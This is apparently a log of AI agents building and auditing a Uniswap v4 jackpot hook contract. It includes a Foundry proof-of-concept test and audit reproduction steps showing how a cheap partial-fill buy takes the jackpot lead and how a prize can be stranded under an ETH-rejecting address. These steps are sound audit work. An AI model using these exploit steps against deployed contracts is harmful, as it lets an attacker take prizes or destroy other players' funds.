                  abi.decode(data, (PoolKey, SwapParams, bytes));
              BalanceDelta delta = manager.swap(key, params, hookData);
              _settle(key.currency0, delta.amount0());
              _settle(key.currency1, delta.amount1());
              return abi.encode(delta);
          }
      
          function _settle(Currency c, int128 amount) internal {
              if (amount < 0) {
                  uint256 owed = uint256(uint128(-amount));
                  if (c.isAddressZero()) {
                      manager.settle{value: owed}();
                  } else {
                      manager.sync(c);
                      IERC20(Currency.unwrap(c)).transfer(address(manager), owed);
                      manager.settle();
                  }
              } else if (amount > 0) {
                  manager.take(c, address(this), uint256(uint128(amount)));
              }
          }
      
          receive() external payable {}
      }
      
      /// @notice A buy whose amountSpecified equals minimumTicket() but whose price limit lets the pool fill
      /// only 2 wei still takes the lead. The attacker's whole outlay is the 1% hook fee on the nominal amount.
      contract TicketPartialFillTest is Test {
          using StateLibrary for IPoolManager;
          using PoolIdLibrary for PoolKey;
      
          uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
          uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
          address constant OWNER = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2;
          address alice = address(0xA11CE);
          address bob = address(0xB0B);
      
          PoolManager manager;
          RektdToken token;
          RektJackpotHook hook;
          LimitRouter router;
          PoolModifyLiquidityTest lp;
          PoolKey key;
      
          receive() external payable {}
      
          function setUp() public {
              manager = new PoolManager(address(this));
              token = new RektdToken();
              hook = _deployHook();
              router = new LimitRouter(manager);
              lp = new PoolModifyLiquidityTest(manager);
              token.approve(address(lp), type(uint256).max);
              token.transfer(address(router), 1e24);
              vm.deal(address(this), 1_000_000 ether);
              vm.deal(address(router), 100 ether);
              key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(address(hook)));
              manager.initialize(key, SQRT_PRICE_1_1);
              lp.modifyLiquidity{value: 10_000 ether}(
                  key, ModifyLiquidityParams(TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1e21, 0), ""
              );
          }
      
          function _deployHook() internal returns (RektJackpotHook) {
              bytes memory code = abi.encodePacked(type(RektJackpotHook).creationCode, abi.encode(manager, OWNER));
              bytes32 h = keccak256(code);
              for (uint256 i = 0; i < 500_000; i++) {
                  address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                  if ((uint160(p) & ((1 << 14) - 1)) != FLAGS) continue;
                  return new RektJackpotHook{salt: bytes32(i)}(manager, OWNER);
              }
              revert("no salt");
          }
      
          function test_partialFillBuyMustNotTakeTheLead() public {
              // Alice holds the lead with a real 1 ETH buy. Jackpot = 0.005 ETH, minimum ticket = 0.0005 ETH.
              router.swap(key, SwapParams(true, -1 ether, TickMath.MIN_SQRT_PRICE + 1), abi.encode(alice));
              assertEq(hook.currentLeader(), alice);
              uint256 minTicket = hook.minimumTicket();
              assertEq(minTicket, 0.0005 ether);
      
              // Bob specifies exactly the minimum ticket but caps the price one unit below the current price,
              // so the pool consumes only 2 wei. He pays 2 wei + the 1% fee on the nominal ticket (5e12 wei).
              (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
              uint256 before = address(router).balance;
              BalanceDelta d = router.swap(key, SwapParams(true, -int256(minTicket), price - 1), abi.encode(bob));
              uint256 spent = before - address(router).balance;
              assertLt(uint256(uint128(-d.amount0())) + minTicket / 100, minTicket, "gross ETH in is below the ticket");
              assertLt(spent, minTicket / 50, "bob spent under 2% of the ticket");
      
              // Expected: a buy whose gross ETH input is below minimumTicket() does not take the lead.
              assertEq(hook.currentLeader(), alice, "bob took the lead without paying the ticket");
      
              // Sanity for the fix: a fully filled minimum ticket still takes the lead.
              router.swap(key, SwapParams(true, -int256(hook.minimumTicket()), TickMath.MIN_SQRT_PRICE + 1), abi.encode(bob));
              assertEq(hook.currentLeader(), bob, "a real minimum ticket takes the lead");
          }
      }
    • mediumAny swapper can crown an arbitrary address via hookData; naming a contract that rejects ETH strands 60% of the jackpot with no recovery pathsrc/RektJackpotHook.sol:408

      From audit_flow. _processTicket accepts any 32-byte hookData address except 0 and 0xdEaD as the buyer, with no relation to the swap sender or tx.origin. A third party can therefore make the leader an address that can never receive ETH: the REKTD token, the PoolManager, the hook itself (its receive() refuses anyone but the PoolManager), or any contract without receive/fallback.

      When that round expires, _settleExpiredRound books 60% of the jackpot to unclaimedPayout[thatAddress]; _deliver (line 446) re-parks it when _send fails, and claimPayout(thatAddress) parks it again every time. Nothing returns a permanently parked payout to the jackpot or to any other party, so that ETH is dead and the claims backing it stay on the PoolManager forever.

      The README accepts parking only for a winner's own rejecting wallet; here a competitor about to lose, or anyone, destroys the prize for the price of one qualifying buy's fee (combined with finding 1, for 1% of the minimum ticket).

      Fix on the recovery side, since the hook cannot know whether an address can receive ETH: a permissionless sweep that returns a payout parked for longer than a grace period (for example one ROUND_DURATION after it was parked) to jackpotPool, or resolve hookData addresses that have code to the swap sender / tx.origin. The owner can also strand pendingCreatorFees the same way by setting a rejecting recipient (self-inflicted; see finding 5).

      Pool at 1:1 with full-range liquidity 1e21.

      1. exact-input buy of 10 ETH, hookData = abi.encode(alice): jackpotPool = 0.05 ETH, minimumTicket = 0.0025 ETH, leader alice.

      2. griefer: exact-input buy of 0.01 ETH, hookData = abi.encode(address(rektdToken)): currentLeader = token contract.

      3. vm.warp(roundEndTime + 1); settleRound().

      Actual (measured in test/scratch/JudgeProbe.t.sol::test_strandedPrizeViaHookData): RoundSettled winner = token, unclaimedPayout[token] = 30030000000000000 wei (60% of 0.05005 ETH), PayoutParked emitted, 0.03003 ETH redeemed to the hook's balance; claimPayout(token) re-parks and unclaimedPayout[token] stays 30030000000000000 forever.

      Expected: a prize cannot be rendered unclaimable by a third party; undeliverable funds return to the game.

    • lowOn ETH-specified swap shapes the 1% fee is charged on the amount requested, not the ETH that moved: partial fills over-charge and an exact-output sell can cost the seller ETHsrc/RektJackpotHook.sol:221

      Merged from write_foundry_tests, audit_permissions, audit_flow, audit_economics (reported medium) and audit_math. beforeSwap charges FEE_BPS of |amountSpecified| through the specified-side BeforeSwapDelta before the pool runs, and afterSwap mints the same figure (line 245). When the pool stops early (sqrtPriceLimitX96 reached, or ETH liquidity exhausted on an exact-output sell, which the launch pool seeded with REKTD only can hit) the trader still pays 1% of what was asked.

      Exact-input buy stopped by a limit: 1 ETH asked, 2 wei traded, 0.01 ETH fee.

      Exact-output sell: the hook delta of 1% of the request is subtracted from whatever partial output the pool produced, so once the fill is below the fee the seller's ETH delta is negative: they hand over REKTD and also pay ETH. The unspecified shapes (lines 249-252) use the pool's real ETH delta and are correct on partial fills, so the fee per ETH differs by shape and the brief's '1% of the ETH side of every swap' is broken for partial fills.

      Severity low rather than medium: the canonical UniversalRouter pins sqrtPriceLimit to MIN/MAX and its TAKE_ALL reverts on a negative delta, and for an under-filled exact-output sell the frontend's minimum-output check reverts, so the realistic exposure is a custom router or an integration with a zero minimum output, and the loss is bounded by 1% of the amount the trader chose to request.

      The brief mandates the BeforeSwapDelta for the ETH-specified case, which cannot refund the specified side after the fill is known, so the options are: revert in afterSwap when |delta.amount0()| is below the fee charged (or when the fill is partial), move the fee for these shapes to afterSwap on the unspecified side, or document the limit in the README and have the dashboard use exact-input sells only with a strict minimum output.

      (A) Launch seeding: pool with liquidity 1e21 in [minUsableTick(60), -60] (REKTD only, manager holds 0 ETH).

      Buyer swaps exact-input 0.01 ETH -> manager holds 0.01 ETH, hook claim 0.0001 ETH.

      Seller swaps zeroForOne=false, amountSpecified=+1 ether, sqrtPriceLimitX96=MAX_SQRT_PRICE-1 (router default), hookData ''.

      Actual (JudgeProbe.t.sol::test_exactOutputSellOnThinPoolSellerPaysEth): swapper delta amount0 = -223750000000001 wei (seller pays ETH), amount1 = -9840684879343513 (tokens sold), hook claims = 0.0101 ETH.

      Expected: the seller receives ETH, charged 1% of what was delivered.

      (B) Full-range pool at 1:1: swap zeroForOne=false, amountSpecified=+1 ether, limit=currentSqrtPrice+1: delta amount0 = -10000000000000000, amount1 = -2, hook claims 0.01 ETH (test_exactOutputSellPriceLimit).

      (C) swap zeroForOne=true, amountSpecified=-1 ether, limit=currentSqrtPrice-1: delta amount0 = -10000000000000002, amount1 = 0, hook claims 0.01 ETH while 2 wei entered the pool (test_exactInputBuyPriceLimitFee).

      Expected fee 1% of 2 wei = 0.

    • lowtimeRemaining() reports 0 one second before roundExpired() is true: the clock reads 00:00 while settleRound() reverts and a buy still extends the roundsrc/RektJackpotHook.sol:175

      Merged from audit_permissions, audit_flow, audit_economics and audit_math. roundExpired() (line 170) uses block.timestamp > roundEndTime, which is the brief's definition and drives settleRound and _settleExpiredRound. timeRemaining() uses >= and already returns 0 at block.timestamp == roundEndTime.

      In that second the dashboard shows 00:00 and enables settle, settleRound() reverts RoundNotOver, and a qualifying buy still takes the lead and extends by 120 s, so a round everyone sees as finished can be sniped. The write side matches the brief; align the view (return 1 at equality, or use the same comparator as roundExpired).

      At t0 alice buys 0.001 ETH exact-input with hookData=abi.encode(alice): roundEndTime = t0 + 600. vm.warp(t0 + 600).

      Actual (JudgeProbe.t.sol::test_timeRemainingBoundary): timeRemaining() == 0, roundExpired() == false, settleRound() reverts RoundNotOver, and a 0.001 ETH buy by bob sets currentLeader = bob and roundEndTime = t0 + 720.

      The repository's own test_settleRoundPaysWinnerBurnsAndRollsOver asserts the revert at warp(end).

      Expected: a zero clock coincides with the round being settleable.

    • infoTrust assumption: the owner can redirect already-accrued pendingCreatorFees by changing creatorFeeRecipient before claimCreatorFees runssrc/RektJackpotHook.sol:193

      From audit_permissions; recorded as a privileged power, not a defect. pendingCreatorFees is one global counter and claimCreatorFees pays whatever has accrued to the recipient current at claim time; the setter does not checkpoint the accrued amount to the previous recipient (only amounts already parked in unclaimedPayout stay with the old address).

      On this launch the owner ($owner = 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2) is the brief's creator fee recipient, so only the payee can redirect its own fees. Ownership is single-step OpenZeppelin Ownable with renounceOwnership available; a transferred owner gains this power over the named recipient, and setting a recipient that rejects ETH parks the fees under that address for good (see finding 2).

      Anyone can call claimCreatorFees to flush accrued fees to the current recipient first. The owner has no other power: no pause, no fee change, no withdrawal of the jackpot (verified: test_ownerHasNoWayToTakeFunds).

      Buys accrue pendingCreatorFees = 0.01 ETH with creatorFeeRecipient = owner; vm.prank(owner) setCreatorFeeRecipient(0x1234); claimCreatorFees(): 0x1234 receives 0.01 ETH, the previous recipient nothing (JudgeProbe.t.sol::test_creatorFeeRedirect).

    • infoBuyer identity falls back to tx.origin when hookData is not 32 bytes, so a smart-wallet or relayed buyer is credited to the relaying EOAsrc/RektJackpotHook.sol:432

      From write_foundry_tests. This is what the brief specifies so the canonical UniversalRouter works with empty hookData, and it is identity for a prize rather than authorization. A 4337 account, Safe or relayer flow that buys with empty hookData makes the bundler/relayer EOA the currentLeader and prize recipient.

      The README documents that the dashboard must pass the connected wallet as 32-byte hookData; the frontend assignment should treat that as mandatory. Not a code defect against the brief.

      Exact-input buy of 0.001 ETH with hookData = '' and vm.prank(router, relayerEOA): currentLeader == relayerEOA. Same buy with hookData = abi.encode(account): currentLeader == account (covered by the repository's test_hookDataOfWrongLengthFallsBackToTxOrigin).

  9. Build contract projectAgent #15214 files changed

    Done. All checks pass and every finding is answered in .imd-responses.json.

    What I verified first

    • The reviewer's proof failed on the starting tree exactly as reported (a 2 wei fill with the fee on the nominal ticket made bob leader). It passes now.
    • Findings 2, 3 and 4 all reproduced in new tests before I changed the hook.

    Changes in src/RektJackpotHook.sol

    • Ticket on real input (high): the exact-input buy branch now judges the ticket on the pool's actual ETH input plus the fee, using the raw pool delta. A full fill still equals the amount specified, so no accepted ticket test changed.
    • Stranded prizes (medium): a failed delivery records parkedSince. After a one-day grace period, anyone can call the new recycle function, which retries delivery and otherwise returns the prize to the jackpot. Prizes never attempted (settled inside a swap, unclaimed) are never recyclable.
    • Creator fees (medium and info): a claim to a recipient that rejects ETH now reverts and leaves the pending amount intact, so nothing can be parked under a creator recipient for good.
    • Under-filled exact-output sells (low): the hook now reverts when the pool cannot output the ETH asked plus the fee. The reviewer's thin-launch-pool case, where the seller ended up paying ETH, now fails cleanly with nothing charged.
    • Clock (low): the time view returns zero exactly when the round is settleable, and 1 in the final live second.

    Not changed: the fee on a price-limited exact-input buy stays 1% of the requested amount. The brief mandates the before-swap delta for that shape, and the held proof requires that swap to succeed rather than revert. This is documented in the README as a limit, and the tx.origin fallback finding is answered as disputed since it is brief-specified behavior.

    Checks run

    CheckResult
    forge buildclean
    forge test with the verifier's fuzz seed53 passed (46 hook, 6 token, 1 proof)
    Protected floor tests, rehearsed in scratch with the verifier's environment9 passed, 4 skipped (factory-probe cases need a variable I was not given)
    forge fmt --checkclean

    The README documents the new constant, the recycle function, the exact-output sell revert, the partial-fill fee limit, and the owner trust assumption. The ABI export in docs/abi/RektJackpotHook.json was regenerated. No launch.json was written.

    ran onclaude · claude-fable-5-1 · 49 turns · 11m 4s · 450 in · 49.5K out · 1.6M cached
    submissiond048c092237ba20517ced2f47021bfe59b6ca189cbfac784a0c721918562bf9c
    devicef91c213c19ee44bb77bfee95876463961d20118e8bb3f6555a13110b2401473e
    started from5a8fb712fbf5113148f722270d77126176aff287
    bundle461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7 · 654 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    changed · 4 files
    README.mddocs/abi/RektJackpotHook.jsonsrc/RektJackpotHook.soltest/RektJackpotHook.t.sol
  10. ManifestAgent #2491 file changed

    The manifest is revised and verified. Only launch.json changed.

    What I did

    The hook source was revised by another contributor after my previous manifest was written, so the notes described an older implementation. I updated only the notes field to match the accepted hook. The structural fields were already correct and are untouched.

    Notes corrections

    • Creator fee claims now revert, leaving the pending balance intact, when the recipient rejects ETH. The old notes said rejected payouts stayed claimable, which now applies only to prizes and burn amounts.
    • A buy's ticket is judged on the ETH the pool actually took plus the fee, not on the amount specified.
    • Exact-output sells revert when the pool cannot produce the requested ETH plus the fee.
    • Parked prizes can be returned to the jackpot through a permissionless recycle call after a one-day grace period.

    Verification

    • Permissions in the manifest match the hook's getHookPermissions exactly: beforeInitialize, beforeSwap, afterSwap, beforeSwapReturnDelta, afterSwapReturnDelta.
    • Constructor arguments match the exported ABI in declaration order: "$poolManager" then "$owner". The token has no constructor arguments.
    • Pool fields are the launch facts: native ETH pair, fee 12500, tick spacing 60, the one-to-one initial price.
    • The first key is the discriminator and the notes are 2571 characters, under the cap.
    • Build and the full test suite pass with the verifier's fuzz seed, 52 tests, 0 failures.
    • Git status shows launch.json as the only modified file.

    The hook needs no address beyond the placeholders, so nothing is missing from the requester.

    ran onclaude · claude-fable-5-1 · 12 turns · 1m 29s · 194 in · 5.7K out · 394.1K cached
    submissionf24a2c0f5a4af1b64d910648a4e592cf0e335a4387a27a405ec2666f23252378
    device323aec17bfc8d65243304c262e0e54057e97dda48041e6c21df61b36f10f71c9
    started from1694b255baab785cd288d6c797576a5be61e25e3
    bundleb17851ac155d49b8924d420fe8a9bcad014583355e308f2a4c7996adee26843a · 656 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    changed · 1 file
    launch.json
    may write
    launch.json
  11. Write foundry testsAgent #9762 files changed

    Done. The full suite passes with the verifier's seed: 81 tests, including 7 invariants over 15,360 random calls with zero reverts. Only my two test files changed.

    What this revision was about. The source commit merged under my tests changed four behaviours, and two of my accepted tests failed against it. Both failures were my tests lagging the source, not defects. No .imd-findings.json is warranted: I found nothing in the revised hook that needs reporting.

    Changes in test/RektJackpotHook.adversarial.t.sol (28 tests, up from 20):

    • The end-second clock test now expects timeRemaining to read 1 while the round is still live, and checks settleRound reverts in that second.
    • An unfillable exact-output sell is refused and the refusal also undoes the in-swap settlement beforeSwap recorded, so the expired round stays settleable.
    • A fuzz test shows a price-limited buy takes the lead only on the ETH it really paid (a few wei plus the fee on the specified amount).
    • A rejecting creator recipient makes the claim revert as a whole: pending fees, claims and hook balance unchanged, nothing parked, and a fixed recipient is paid in full.
    • Recycling: the one-day grace boundary is inclusive, unattempted prizes, the burn address and strangers are never recyclable, and a re-park through claimPayout does not restart the clock.
    • A hostile winner that re-enters recycle and claim paths from inside delivery is stopped by the guard, the prize is recycled exactly once, and a winner fixed before the recycle is paid everything owed with nothing recycled.
    • Prizes crowned to the hook, the PoolManager and the token are parked and recycled, and the ETH that ends up on the hook is spent before any more claims are redeemed.

    Changes in test/RektJackpotHook.invariant.t.sol:

    • New handler actions: a price-limited exact-input buy, an exact-output sell that must be refused with no trace, recycleParkedPayout with full postconditions on both the refused and successful paths, and a long warp so the grace period can elapse.
    • claimCreatorFees now expects the revert for a rejecting recipient and checks nothing moved.
    • A new invariant ties parkedSince to the state: it runs only while something undeliverable is owed, only for the rejecting payee, never in the future, and never restarts.
    • The custody invariant now allows recycled ETH to sit on the hook, which still must equal what is owed to the wei.
    • I verified with a scratch test that the recycle success branch is actually reached in random sequences, which required biasing the handler and raising depth to 60.

    Nothing is committed; the two modified files are in the working tree for the pipeline to pick up.

    ran onclaude · claude-fable-5-1 · 46 turns · 14m 15s · 578 in · 57.3K out · 2.2M cached
    submission29760f483fef4fb49ab30ec5dd94ea7dd06a476cf31fd2e4b777d4be4f403ce6
    devicea7b8747ac077deb9a656205f7afe5268f40a5ea9affa1e70d5157a71d70d3742
    started from931f47a8a8d5eff3e5a67357e56850e111f247b9
    bundle2988ba84b2d1c140432db08807cb2173b8433d7e94566ecef84a070b27440f6b · 680 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7
    changed · 2 files
    test/RektJackpotHook.adversarial.t.soltest/RektJackpotHook.invariant.t.sol
    may write
    testtest/**
  12. Audit judgeAgent #1844found nothing

    The review is complete and the report is written to .imd-findings.json with no open findings. The scratch tests are removed and the working tree is clean apart from the findings file.

    Outcome: every prior finding is settled as fixed, and nothing new reproduced.

    • High, ticket judged on requested ETH. Fixed. The ETH-specified buy branch now uses the pool's real delta plus the fee. The attached proof passes on this tree. My own reproduction confirms a price-limited buy of the minimum ticket trades 2 wei, pays the 1% fee, and leaves the previous leader and end time untouched.
    • Medium, prize stranded under a rejecting contract. Fixed. A failed delivery records when it was parked, and anyone can call the new recycle function after one day. It retries delivery first and otherwise returns the amount to the jackpot. I reproduced the token-contract and hook-as-leader cases, the grace-period refusals, and checked that claims plus balance still back every recorded amount, including when a winner reenters through a swap while being paid.
    • Low, fee on partial fills. Fixed for the shape that could cost a seller ETH. An exact-output sell that the pool cannot fill now reverts with nothing charged, on both the full-range pool with a tight limit and a fresh tokens-only manager. The exact-input buy stopped by a limit still pays the fee on the request. That is the documented limit of the mandated BeforeSwapDelta, and it no longer affects the ticket.
    • Low, clock reads zero a second early. Fixed. The view returns zero exactly when the round is settleable and 1 at the boundary second.
    • Info, creator fee redirect. Documented as a trust assumption. Claiming to a rejecting recipient now reverts and leaves the fees pending instead of parking them.
    • Info, tx.origin fallback. Dropped. It is what the approved workflow specifies, so the author's dispute holds.

    Checks run: the repository suite passes with 81 tests. The three protected floor suites pass with the manifest's fee, spacing and price. Contract sizes are well under the limits. The manifest's constructor arguments and permissions match the source, and the hook accepts the 12500 fee tier. The static-analysis leads were each traced and none is a defect: payouts go only to recorded payees after the balance is zeroed, the settlement functions are guarded and cross-function reentry through a swap keeps the accounting backed.

    The coverage record answers all 15 entry points as holding, plus three invariant rows.

    ran onclaude · claude-fable-5-1 · 22 turns · 5m 59s · 418 in · 25.6K out · 1.4M cached
    submissionf707139531c71b3103bf07c0b4991a83a2ecb328d34ffe69336248253ce89524
    device2d027bc56749d95c339486a49d7394896754c073e11aca8def18842ba91e7a92
    started fromd2b7e3591a63f2140b7a6e65e4bf61c443cedf55
    bundlenone
    applied on461b87d52f1ee5a187d1a8be02c311e85854941b3a242f4d19198b407583f1a7, 2988ba84b2d1c140432db08807cb2173b8433d7e94566ecef84a070b27440f6b, b17851ac155d49b8924d420fe8a9bcad014583355e308f2a4c7996adee26843a
  13. Deployed3 contracts on Robinhood Chaintransaction
    rebuilt
    HookFlags, RektdToken (REKTD $REKTD), RektJackpotHook · verifier 0.1.0 · solc 0.8.26
    gates
    • provenance
    • findings
    • independent review
    • bytecode
    • manifest
    • protected invariants
    • economics
    proof
    commit, attestation, manifest, tree, per-contract hashes
    repository
    identity-md-launches/launch-1768-workflow-contract-stage-context
    commit
    2c3fa8ceac98516fa7bd67dea3a9bb63582b1670
    attestation
    9ea94fa7fcc0b9a4edd089680b73ab8e7d6b8242539c1741b7dd2e091a1cb25f
    manifest
    18ec862a063c41ac01666b7acf283b5d4d04e31de2dd76bc04ffebe7d8d416a8
    allocations
    0x0b639a2a00683d7c441d69c2874b027681e9da2dd97e67653e90b453bd3aa511
    tree
    e53d81ffe17e43e4ce65f7698f3463b32a7d9c81
    compiler
    solc 0.8.26, optimizer 200 runs, reproducible
    contract
    HookFlags
    src/HookFlags.sol · 81 bytes
    creation 1c1538710fd2c69e5ac07c04cdc677f2ab0a86dbfd7eaf576dc6132a0c968921
    abi 518674ab2b227e5f11e9084f615d57663cde47bce1ba168b4c19c7ee22a73d70
    metadata 16c24ae82d55713fc4a0bbd3c6ba69cc63785eb2fb8034f872e48802db20d026
    contract
    RektdToken · REKTD $REKTD
    src/RektdToken.sol · 2607 bytes
    creation 4fcb6989770065c54c983a65d7c651b8a55ce07786552ae72497388ebe27ff8b
    abi f36d2fe28b62f817a4fba0b78bb501b41895eada3982280273c063ad8183f577
    metadata 93a37b832a63a9efc1c67dbfd3db7b9855ab658d6e15fcbbd675c1d54c803022
    onchain at 0x8153…8826, block 88,621,730 · creation code matches
    contract
    RektJackpotHook
    src/RektJackpotHook.sol · 9537 bytes
    creation bfbca2464b9222d7fa41e4df739be938e85fb6055d8a532b77b3fd93866f9360
    abi 1e5328e2e27a3e43fefb146d3ccfb4e72641801942ed156db374ced146e41752
    metadata cebbafcc4be2b0be5e944cb622c8f67df978c6b7d559452506307e93cd52d660
    onchain at 0xd0a5…a0cc, block 88,621,730 · creation code matches
    contract
    MerkleDistributor deployed by the factory, not rebuilt
    creation f1c21108732a73286b1030e87fbba14c806905275dde6fce012f2c0ca19e30b9
    onchain at 0x1c51…9cce, block 88,621,730
  14. Frontend for contractAgent #22182 files changed

    Implemented the frontend and static export. Build, typecheck, 12 unit tests, and 27 browser scenarios passed. Evidence is in docs/VALIDATION.md.

    Git commit was blocked: git add returned “Read-only file system” for .git/index.lock. Files remain in the workspace. No live transactions were broadcast.

    ran oncodex · gpt-6-astra · 16 turns · 42m 22s · 618.9K in · 101K out · 12.4M cached
    submissiona904a958bcf3286286b96a45c474a259985d988dbb2b2bf6b42426d79516a2de
    devicef49e9c7e437cf75cc7bf7f68b7c690da784eab7e369d0fe808577d64f87e99f3
    started from2c3fa8ceac98516fa7bd67dea3a9bb63582b1670
    bundle686dccf930f3f674d3f2395017441931fa9714413d9bf1119579e330db60547a · 1.4 MB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    changed · 82 files
    dist/abi/RektJackpotHook.jsondist/abi/RektdToken.jsondist/assets/ccip-DuEWtQ0k.jsdist/assets/dist-CyIH3kPt.jsdist/assets/index-B0TyVhB3.cssdist/assets/index-BH2qa4BE.jsdist/assets/jetbrains-mono-latin-wght-normal-B9CIFXIH.woff2dist/assets/manrope-latin-wght-normal-DHIcAJRg.woff2dist/favicon.svgdist/imd-deployment.jsondist/index.htmldist/licenses/Apache-2.0.txtdist/licenses/JetBrainsMono-OFL.txtdist/licenses/Manrope-OFL.txtdist/licenses/RainbowKit-MIT.txtdist/licenses/ThirdPartyNotices.txtdist/share.pngdist/wallets/coinbase.svgdist/wallets/metamask.svgdist/wallets/phantom.svgdist/wallets/rabby.svgdocs/DESIGN.mddocs/THIRD_PARTY.mddocs/VALIDATION.mddocs/licenses/Better-Interface.txtdocs/licenses/Ethereum-Frontend-UX.txtdocs/validation/arena-desktop-live.pngdocs/validation/arena-desktop-mocked.pngdocs/validation/arena-mobile-live.pngdocs/validation/arena-mobile-mocked.pngdocs/validation/artifact-checks.jsondocs/validation/axe.jsondocs/validation/browser-tests.jsondocs/validation/contrast.jsondocs/validation/live-rpc.jsondocs/validation/taste.jsondocs/validation/wallet-mobile.pngweb/.gitignoreweb/README.mdweb/artwork/share.svgweb/config/deployment-handoff.jsonweb/config/network.jsonweb/index.htmlweb/package-lock.jsonweb/package.jsonweb/public/abi/RektJackpotHook.jsonweb/public/abi/RektdToken.jsonweb/public/favicon.svgweb/public/licenses/Apache-2.0.txtweb/public/licenses/JetBrainsMono-OFL.txtweb/public/licenses/Manrope-OFL.txtweb/public/licenses/RainbowKit-MIT.txtweb/public/licenses/ThirdPartyNotices.txtweb/public/share.pngweb/public/wallets/coinbase.svgweb/public/wallets/metamask.svgweb/public/wallets/phantom.svgweb/public/wallets/rabby.svgweb/scripts/check-rpc.mjsweb/scripts/lib.mjsweb/scripts/licenses.mjsweb/scripts/manifest.mjsweb/scripts/prepare.mjsweb/scripts/share.mjsweb/scripts/verify.mjsweb/src/App.tsxweb/src/History.tsxweb/src/Operations.tsxweb/src/Trade.tsxweb/src/Wallet.tsxweb/src/components.tsxweb/src/config.tsweb/src/data.tsxweb/src/launch-parameters.jsonweb/src/main.tsxweb/src/protocol.tsweb/src/styles.cssweb/tests/browser.mjsweb/tests/mock-rpc.mjsweb/tests/protocol.test.tsweb/tsconfig.jsonweb/vite.config.ts
    may write
    web/**dist/**docs/**web/.gitignore
  15. Design criticAgent #896found 2 medium
    AreaCount / result
    Requirements34 groups: 31 met, 0 missing, 0 faked, 2 after review, 1 needs requester
    Broken features2 medium findings
    First screen at 390Yes; trade action ends at 808px within 844px
    taste@115/16 passed; remaining flag is a wallet-button false positive
    Copy0 findings
    Share cardAll 5 checks passed

    Recorded two reproducible findings in .imd-findings.json:

    • Medium — bug: A delayed Max calculation populates the Sell field with the previous ETH maximum.
    • Medium — bug: Rejecting a network switch leaves Disconnect wallet inaccessible.

    Both reproduced at 390×844 in Chromium and WebKit. The report includes exact source snippets, measurements, reproduction steps and proposed corrections. Website files remain unchanged.

    Build, type checking, 12 unit tests and 27 existing browser checks passed. The independent rebuild exactly matches the submitted export. Live buy simulations succeeded; no transactions were broadcast. Live sell quoting currently reverts, while mocked sell interactions pass.

    “Met” below means implemented and evidenced; the two edge-case defects are recorded separately.

    Explicit requirementStatusEvidence
    Preserve already-deployed source; do not redeployMetsrc/ and docs/abi/ match the pinned commit; no transactions sent
    Source, package, lockfile and build configuration under web/Metweb/package.json, lockfile and Vite configuration
    Static export in dist/; documentation in permitted directoriesMetdist/index.html, docs/VALIDATION.md
    Implementation-derived ABIs from the pinned commit; verify hashesMetBoth ABI exports match pinned source and canonical hashes
    Manifest version, identifiers and exact contract set match handoffMetdist/imd-deployment.json; independent comparison passed
    Copy poolKey unchanged when providedMetHandoff contains none; derived key matches the live pool ID
    Copy network and walletAddChain unchangedMetManifest comparison passed
    Runtime loads the same manifest and referenced ABIsMetweb/src/config.ts
    Relative asset/ABI paths; hash every export except the manifestMetAll 20 exported asset hashes verified, including HTML and ABIs
    At most 128 assets, 8 MiB each, within response budgetMet20 assets; 1,086,491 bytes total
    Generate and commit manifest after final exportMetweb/scripts/manifest.mjs; tracked export matches rebuild
    Build, typecheck, browser and interaction validationMetIndependent checks above; existing evidence under docs/validation/
    REKTD on Robinhood Chain 4663, paired with native ETHMetRuntime manifest and live deployment reads
    No oracle, backend signer or application backendMetconfig.ts, data.tsx, protocol.ts; reads use RPC and wallet providers
    Canonical UniversalRouter/V4Quoter; no custom-router restrictionMetRuntime network addresses, protocol.ts, pinned hook callbacks
    Empty/32-byte buyer data, origin fallback, invalid-buyer skippingMetRektJackpotHook.sol::_resolveBuyer and _processTicket
    1% ETH-side fee, appropriate return deltas, ERC-6909 minting; no swap-time ETH transferMetHook beforeSwap and afterSwap
    Equal creator/jackpot fee split and specified creator recipientMetHook fee accounting and live recipient read
    600-second rounds, 120-second extensions, 600-second cap; qualifying buys use rounded-up 5% minimum with 0.0005 ETH floorMetHook constants, minimumTicket, _processTicket; frontend reads
    Expiry requires a leader and timestamp strictly beyond round endMetHook roundExpired; countdown tests
    Settlement splits 60% winner, 20% rollover, 20% burnMetHook _split; dashboard breakdown
    Swap-triggered settlem
    ran oncodex · gpt-6-astra · 7 turns · 12m 10s · 159.2K in · 25.2K out · 3.4M cached
    submissiond2059922b81a4efcf027c9f094db61e71f4b21eb4983ba6d0aedd5d4d73bff70
    device0bd6e7ef3fc9345a83ff1cbb310e402be66028966ffa655573698a5e2cf34717
    started from9eaf9806692156700ee1b44641ea1cba60f1b5ec
    bundlenone
    applied on686dccf930f3f674d3f2395017441931fa9714413d9bf1119579e330db60547a
    may write
    web/**dist/**docs/**web/.gitignore
    • mediumbug: a delayed Max response overwrites the amount after switching to Sellweb/src/Trade.tsx:227

      Now: Max captures the buy balance, waits for eth_gasPrice, then unconditionally writes that ETH amount into the form even if the visitor has switched to Sell or edited the amount in the meantime.

      Change to: Invalidate pending Max calculations when direction, account, chain or amount changes, and apply setAmount only if the request still belongs to the current form state. Keep the existing gas reserve calculation.

      Why: A response for an earlier buy must not replace a later sell amount; the one-click Max control must act on the asset and wallet the visitor currently selected.

      At 390×844 in Chromium and WebKit, serve dist/ and use web/tests/mock-rpc.mjs createMock()/attachMock() for a connected Robinhood wallet with 3 ETH and 100,000 REKTD.

      Hold its eth_gasPrice response (normally 0x3b9aca00, 1 gwei).

